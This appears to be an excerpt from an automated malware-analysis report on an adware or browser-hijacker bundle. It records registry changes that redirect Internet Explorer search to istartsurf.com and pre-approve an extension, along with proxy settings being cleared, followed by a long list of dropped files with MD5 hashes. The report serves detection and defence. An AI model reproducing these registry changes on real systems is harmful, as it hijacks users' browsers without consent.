"TopResultURL" = "http://www.istartsurf.com/web/?type=ds&ts=1431730960&z=0d913be49c076e37effe1a2g8z8c2gam1c0eat8w2b&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ext\CLSID]
"{51D26BB4-4D2C-4AE4-9873-5FF41B6DED1F}" = "1"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURLFallback" = "http://www.bing.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"DisplayName" = "Google"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"DisplayName" = "e"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\PROTECTEDMODESECURITY]
"DefaultValue" = "PMIL"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved]
"{51D26BB4-4D2C-4AE4-9873-5FF41B6DED1F}" = ""

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{E733165D-CBCF-4FDA-883E-ADEF965B476C}.ico"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

Dropped PE files

MD5	File path
7056880e355f09f432682b9adbd2bf68	c:\Program Files (x86)\SensePlus\9fdb4d8e-217e-49e0-bad3-9a6b945e3f76-4.exe
84c7bfea52b4dcde3be475c667a8dafb	c:\Program Files (x86)\SensePlus\9fdb4d8e-217e-49e0-bad3-9a6b945e3f76-5.exe
29183fad99ed097d2714972b8e9e0830	c:\Program Files (x86)\SensePlus\Uninstall.exe
fa15b066de478f62226fe4441cd9f843	c:\Program Files (x86)\SensePlus\utils.exe
51cbf55755f38bb60e6ef9f63e7d7d8e	c:\Program Files (x86)\ShopperPro\JSDriver\1.42.1.1835\jsdrv.exe
124216149fe38b939a0133d40780b791	c:\Program Files (x86)\ShopperPro\JSDriver\1.42.1.1835\jsdrv.sys
51cbf55755f38bb60e6ef9f63e7d7d8e	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.exe
124216149fe38b939a0133d40780b791	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.sys
523135e71faf739d60e1adc921d75492	c:\Program Files (x86)\ShopperPro\SPRemove.exe
b776d04e271a439f5eafae717190ccbb	c:\Program Files (x86)\ShopperPro\ShopperPro.dll
47fd883b788d1d06414a9d6aa57a9654	c:\Program Files (x86)\ShopperPro\ShopperPro.exe
43ce157f180fa7bca2f19311835b0a4b	c:\Program Files (x86)\ShopperPro\ShopperPro64.dll
42e8d9b37522b1b8a20ac058a5c7ed5f	c:\Program Files (x86)\ShopperPro\Updater.exe
1127390826a9409f6fd7ad99c4d4af18	c:\Program Files (x86)\VideoLAN\VLC\axvlc.dll
7dfb162693ceb4afbb2eb63d0f09d3f2	c:\Program Files (x86)\VideoLAN\VLC\libvlc.dll
81b7512e37e94ec09779f89fe35b95aa	c:\Program Files (x86)\VideoLAN\VLC\libvlccore.dll
3f9f8e0f93d6fa7b7552077a3df171de	c:\Program Files (x86)\VideoLAN\VLC\npvlc.dll
488c560fdc560fa83e9e1d6f5469c841	c:\Program Files (x86)\VideoLAN\VLC\plugins\3dnow\libmemcpy3dn_plugin.dll
2e01a91d4d3c0e1e04fd62040d70f495	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_attachment_plugin.dll
5a5847d7dad7b90c8d7fe5c1be39df3d	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll
f344111f902d663faca92ba33d56f246	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_ftp_plugin.dll
d85839521546692289617932ca678a0e	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_http_plugin.dll
4426916e512cdb8b61d9743daf979eb5	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_imem_plugin.dll
088ec625e783ce38b830c3f9849ba098	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_mms_plugin.dll
c4e9661fe6e0a0e26a8b39765657060b	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_rar_plugin.dll
11822bd64cb8d214be27e91add6f6c2c	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_realrtsp_plugin.dll
69ca5bba77a6845770629a4dd90c5530	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_smb_plugin.dll
0a487c532ee800947e66f6bcb4e470bb	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_tcp_plugin.dll
c257026d8bbc8c93e81f4180087c99fd	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_udp_plugin.dll
2704f1a9b198dd71a6649b751419c995	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll
119f5e76809df866b6b91d6434d22280	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libcdda_plugin.dll
f188dc9b4aef4bec9265082a6041ff09	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdshow_plugin.dll
3e2afc8bf3d5be90e8a2510cddbf44f0	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdtv_plugin.dll
541cdd17eefeb786d840f3d499595d69	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll
27b6267ad6f6f6d83f77fb364cdb4157	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdvdread_plugin.dll
7475bf1b89b939bb46914a58456ee81c	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll
7f0e90aef2c137f36dfb1380e483204a	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libidummy_plugin.dll
a7b69a8c6f7be60c752ae8440ec51ac2	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll
ecb5128a56137aa7dd720230deb023ce	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\librtp_plugin.dll
f0a5e4cc2451b10c469830ef68910c7f	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libscreen_plugin.dll
f41ca2d8f54d4a1b9d364e29273ce917	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libsdp_plugin.dll
49f54dbd4a10d5709083624b44e50de0	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll
4a2a5deb44eb1b229cbf2b70083a8a30	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libvcd_plugin.dll
11e5f3dcc2b7dbcda83d0be93cbe0bfd	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libzip_plugin.dll
082d7e6365ecfcebeafd86975b549239	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_dummy_plugin.dll
ab5b7171e42f47fa067f40c57e622d49	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_file_plugin.dll
200d16835253bce1e5cdec85787f34d6	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_http_plugin.dll
9011fadfb818104bfa6d34b6a1004bdf	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_livehttp_plugin.dll
c35e9d7f99bb2c5f92bb523544be7b28	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_shout_plugin.dll
d255bd408f310732efe392fbf54d890b	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_udp_plugin.dll
2452c0ccd7273934d7a7b8a4460bb4ad	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tofloat32_plugin.dll
76df7e3f0bba5164ce4a969d7e131dcc	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tospdif_plugin.dll
95797343308a826985080fd87cdd02b3	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libaudio_format_plugin.dll
9e93d0078644f13d64a6ac178a4cbb05	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libaudiobargraph_a_plugin.dll
fcfe682b27ddb8756abcbfaec54ade9d	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libchorus_flanger_plugin.dll
3901c5681fa2809909d3e670ddd95564	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libcompressor_plugin.dll
0c3d46bb029a9efbcf2caf8a555b4044	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libconverter_fixed_plugin.dll
855eac0ee0ba091d12cf8d6603bbe7cd	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libdolby_surround_decoder_plugin.dll
4c123cad33cee48230b9d48f248634b8	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstofloat32_plugin.dll
5054915aa1068cc351dfe3ce9f4d9018	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstospdif_plugin.dll
457a09eb705555914d9573d705297fa8	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libequalizer_plugin.dll
b48b69095e73f621c159833cf3506260	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libheadphone_channel_mixer_plugin.dll
cd5d67fb809bafa2104cde857f2b5901	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libkaraoke_plugin.dll
84ded40967c5f98fd1b3834b5c239850	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libmono_plugin.dll
4d237ba9df486795c3ed1a933fc6bc3d	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libmpgatofixed32_plugin.dll
4dc4364e38769b24dd9439a6757df12d	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libnormvol_plugin.dll
16b881fa4dd7b8d595554d5f03b11307	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libparam_eq_plugin.dll
52198e9174a775c516b1db88475f0c2c	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libsamplerate_plugin.dll
e5743909fb5e4cb16f925185c2e187fc	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libscaletempo_plugin.dll
b21e70522332396fd7b471a06d9cd713	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libsimple_channel_mixer_plugin.dll
8571259f7305f845bd9cda576e27efd0	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libspatializer_plugin.dll
9f8db453548b1887ffe816a4c29ee2ef	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libspeex_resampler_plugin.dll
596c4f9196e12f8fd2189da5dd5cf51b	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libtrivial_channel_mixer_plugin.dll
20c901b1024fc1f420a135f354eba887	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libugly_resampler_plugin.dll
44f65cd0629b69b81ffa1a185324f05b	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_mixer\libfixed32_mixer_plugin.dll
f8b730483a751c28df26a98527062328	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_mixer\libfloat32_mixer_plugin.dll
143caf86de4633067996caa8984c06e6	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libadummy_plugin.dll
62a1c8033f4bf9aeb3a842b2ef03b0b3	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libamem_plugin.dll
1e709d9bfdf56b72280593db83e463e6	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libaout_directx_plugin.dll
f0df18c32f6939afe8015fff6608e4ba	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libaout_file_plugin.dll
06ed2a7479311365c53159d58b1beaf3	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll
a1f04a15086378708738ef10e87cb979	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liba52_plugin.dll
fb5383b88aff3be139bc4629be0f37c7	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll
fb30f0a9368d0e9f05a7c8f0f811ce18	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libaes3_plugin.dll
50298b7e4e340d1e01906c1bf277f28c	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libaraw_plugin.dll
ee7d51b12a06c7af55158442444b85ac	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libavcodec_plugin.dll
c4891e5f9c04bc84070cdf45960f6497	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcc_plugin.dll
cb9b044ad81544d74b50190393dbb41d	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcdg_plugin.dll
b9c27b854aeda3fd21b5a89b25e7da64	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcrystalhd_plugin.dll
fde3cd8eccd734268db52e45f0549879	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcvdsub_plugin.dll
626e86a7b19c9b241fb8f68a6b4b942e	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libddummy_plugin.dll
7bfda7ad2c3e4e8ae8aab4c0f273d45d	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libdmo_plugin.dll
5833282e7de8de5af90ae9cce1103092	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libdts_plugin.dll
ec5c0e853d0e97a35639af58f03c14f2	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libdvbsub_plugin.dll
65db3ccb337d9be65fb3f6b3b7d51408	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libedummy_plugin.dll
f437be338f7e1b38b923be8c8aa67d48	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libfaad_plugin.dll
1b6933c1d7194eec182616aa357e4b95	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libflac_plugin.dll
62abb7d34d9323504015cb364464c983	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libfluidsynth_plugin.dll
d3df0926f73d71299c7e4684b0abc182	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libkate_plugin.dll
96b60247338cbd2f9115db6a35bf0e33	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liblibass_plugin.dll
1f0e67383a058785fd3e5f7951dc30f5	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liblibmpeg2_plugin.dll
8f5c0ef52a5b9aef49fdf5a6e8bc2166	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liblpcm_plugin.dll
4c04f90195bf8c631386b9c5e72143fe	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libmpeg_audio_plugin.dll
b50acb597b46c8074236a9af6fa3e7fe	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libpng_plugin.dll
5fe5223fdf72e5494e28b6a1267f3b2d	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libquicktime_plugin.dll
ec4f47a1630dc9ca089aeb7a042c82a6	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\librawvideo_plugin.dll
61ba1da04f6a098d28ade9f9658efe02	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libschroedinger_plugin.dll
fbbce2711326173dfa3ebe33ca7495bc	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libspeex_plugin.dll
888a92b4e181167988cc6bb11935767e	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libspudec_plugin.dll
5917391c54d1a3c5be052dd140892ef3	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libstl_plugin.dll
2605031070f1d63555ecac754f02d006	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libsubsdec_plugin.dll
a8c03a626b67f289c844ed3c59d5ed55	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libsubsusf_plugin.dll
825872b84957c66e04c1bcb147aa6f05	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libsvcdsub_plugin.dll
466cfe4216c3ad15089dcdd9c264be01	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libt140_plugin.dll
8a159ec8e6cd85431387bc50e38c46e4	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libtheora_plugin.dll
536cdb1a662fd2a378607ebc5164421a	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libtwolame_plugin.dll
e70cf0ff92602601efb43bf10721a5fc	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libvorbis_plugin.dll
b6f77e2a599ebdae7cf962bb2009561d	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libx264_plugin.dll
3f9915b3acd4964b974c6922657e9a34	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libzvbi_plugin.dll
9f1b132a200448648ae5f0a899919e97	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libdummy_plugin.dll
ec923998448dd5e4943b9c3682893e19	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libgestures_plugin.dll
4753b96ae023d54cfff0293acb0e5b50	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll
f1004437511016ee01db1d0fb0d15213	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll
5d1599e5d788a562b2f1e8b00d2630f2	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libnetsync_plugin.dll
1a285bde8058bd4488d8085c5651977a	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libntservice_plugin.dll
7cea0b1ed24942ef3690fe1821f58afe	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\liboldrc_plugin.dll
4bcea439d874481c6fa65f8913d7a0a6	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll
0ad0e7ebf5dcba3060dbae5a354881c6	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll
003aec04d21c790f5cdec00b25dce187	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libau_plugin.dll
fdf3956a44f6ff2df309fdde19cdd4a3	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll
85b4abee2dd00660bb125ca9b2910d22	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll
e0d788ce98e094ceebfd31863de6c43b	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll
ee00d1a5022c55b513e666f578f7bf63	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemuxdump_plugin.dll
6acf608863191fd1ef88da84bd5e211b	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll
ef535cb45c315e305a731407b74b34f3	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libes_plugin.dll
b4d6a1f8c35bb1e8b13df21b06c1e316	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll
f560de3a9e198c499c08091707361fe1	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libgme_plugin.dll
aa4a6078ec6cdc0908394b7136eed402	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libh264_plugin.dll
29a8cc1f748e9d7ca2fdf81ad63c2153	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libimage_plugin.dll
850460a413ce45412202572227c9f944	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\liblive555_plugin.dll
5439f08e3de3c4fcbaa3b3537bf8d6d8	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmjpeg_plugin.dll
8e75215f3765ace69e3a480042950e5e	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll
00f5425d489e707f28401a2fa48e144d	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmod_plugin.dll
c4f88acdec016542edcc9247b9b19970	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll
0d97a9c152803ab197605937bbbe390f	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll
9d7d8c289614a2284b5dd74b72d90738	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmpgv_plugin.dll
192cac1d61ea3cfc8fd76264e7d82e64	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libnsc_plugin.dll
265f378b75fd3ddbd4f6cc532b711db9	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libnsv_plugin.dll
e53a5e9846b04433ff7791b4ff4520ce	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll
ab59088d97c3e68869db4cfb0fe152f1	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libogg_plugin.dll
8e633aa0f9c134e0f7e68ca401e56150	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll
8f5b24e152387b6335d83438aaf37c69	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libps_plugin.dll
23262990d23194c89296d840637cd204	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libpva_plugin.dll
a3d2c1de9057ac09494e62ba27a1e722	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\librawaud_plugin.dll
8f50a5d9fe66920dcdac0072d45279ae	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\librawdv_plugin.dll
a4ec8a35ae1d1f0f77b197a0636aaaf9	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll
309b4f5ad798583ba8a6ccd8edf3ce15	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libreal_plugin.dll
1b8d1f8b416d507746cf56cd09e0628d	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsid_plugin.dll
0f123ce5e61925580b9a9c2135560235	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll
e084b73fdbd4b25643a86348fe3d8f97	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll
2f284608ba21a9d3008abc1454aef0f9	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libts_plugin.dll
200148b28d8470bcdea286dd97c3d09f	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libtta_plugin.dll
5280478b6f400d4d5743f695d73551a5	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libty_plugin.dll
78a7f6d843af153f6ad1e7ce2dce4be1	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvc1_plugin.dll
ebdb66807190e51b836fa70bfb589a35	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll
35686b05e1e8cecd4864e115eb364bc7	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvoc_plugin.dll
ee5c75fc2c5dcf000232bcee182f2aa0	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libwav_plugin.dll
4345ac956b4079b6e3048c705cc458aa	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libxa_plugin.dll
14efc2356fe6b79b3024abf7b228f4a1	c:\Program Files (x86)\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll
cb4f02b51b61ad761bd8718918863ab7	c:\Program Files (x86)\VideoLAN\VLC\plugins\gui\libskins2_plugin.dll
c3a27b0e237525a4b2c43b2b993093de	c:\Program Files (x86)\VideoLAN\VLC\plugins\lua\liblua_plugin.dll
9ea62f63c07e94a4e70436668078bc7e	c:\Program Files (x86)\VideoLAN\VLC\plugins\meta_engine\libfolder_plugin.dll
3b07d843b8eb8118b3828f341ebf2508	c:\Program Files (x86)\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll
6d9c7a8f6a2c6c70483ba74f9537f53e	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libaudioscrobbler_plugin.dll
61897695afcd52f424511400a9fc52db	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libexport_plugin.dll
7386e9ca03ecb55bfc5b9210c976598e	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libgnutls_plugin.dll
51b92b25df7e524d9912f924aeb0e7af	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\liblogger_plugin.dll
184b5ec34a8b69005074f743af3fd6b8	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libmemcpy_plugin.dll
5de8c0315a44182119a26bf996e591c5	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libosd_parser_plugin.dll
fd9cbc5facd318543e77275e36d5cb75	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libstats_plugin.dll
5c53984f06bcf5897a534c06017ca1ac	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libvod_rtsp_plugin.dll
c0f2354ed64fb0a05a644956dc923620	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libxml_plugin.dll
7d7937b0fdbbebbce54db945bdc56ee3	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libi420_rgb_mmx_plugin.dll
bb71efcb8ac9b657d87bc03b11ca468d	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libi420_yuy2_mmx_plugin.dll
dd088ff395cd38a04eb009a57ee6d240	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libi422_yuy2_mmx_plugin.dll
d2cb5d278c6c9888afe92f6cb637daa9	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libmemcpymmx_plugin.dll
4197146bb707b3b27cc375533801feef	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll
d59f3361c384ffbe70cdeb8718f52dd9	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_asf_plugin.dll
a64a2d2196ee92aa9a3347b7f1aee972	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_avi_plugin.dll
5d85cd5a4ae522c1dfee3a6d0bf748c8	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_dummy_plugin.dll
71c5bb09870655f83605573d1f219482	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_mp4_plugin.dll
5a454c60be6b4ac164624e5b0fc2bdb6	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_mpjpeg_plugin.dll
16a185479698c3a6db741080a8e610bb	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_ogg_plugin.dll
ae3d3c568d8c37311b5538ea219b52ae	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_ps_plugin.dll
1676f30d0c3c1d387382f3f83c0869bc	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_ts_plugin.dll
eeed34457f310be5d0db499260ce89cc	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_wav_plugin.dll
ad61cb401c11dad142e1955a4e1167fa	c:\Program Files (x86)\VideoLAN\VLC\plugins\notify\libmsn_plugin.dll
9c4845dc30206c7d82bd1634db043131	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_copy_plugin.dll
c103a0c0427e202d758a105fbf6cf54b	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_dirac_plugin.dll
26c0fb43ed602cb3748a8fbd7d4ade44	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_flac_plugin.dll
bbe54b559725f106b7ab99c794b82181	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_h264_plugin.dll
b5e7ae40028dd796848deb5c3b3c1f6d	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mlp_plugin.dll
c6f94ef67c420b6c7b195d4194e234b6	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll
c249e908ab9cf86f4fd9f840fa29c32f	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll
5823b722eac81d29d92b3ce652a5ca90	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll
092375cee7ea8900d7ddec1b161a0f35	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_vc1_plugin.dll
87dce361543810e7184c7f9ec92b18c8	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libmediadirs_plugin.dll
23ec38b29ed49263ce06e51a8ec7d631	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libpodcast_plugin.dll
201a9b2ad00f9782841a9f18ded17d72	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll
c42cfa2cbf022c5df421be0d5516bff6	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libupnp_plugin.dll
41918b1cdaaf6f47c8a3145857267444	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libwindrive_plugin.dll
0f32c46097326e94aeb7389b001ce872	c:\Program Files (x86)\VideoLAN\VLC\plugins\sse2\libi420_rgb_sse2_plugin.dll
87b784fb01db04e26fe5531964a6c7b7	c:\Program Files (x86)\VideoLAN\VLC\plugins\sse2\libi420_yuy2_sse2_plugin.dll
2cddbdd90c5a1686f3b6cc609ab47c26	c:\Program Files (x86)\VideoLAN\VLC\plugins\sse2\libi422_yuy2_sse2_plugin.dll
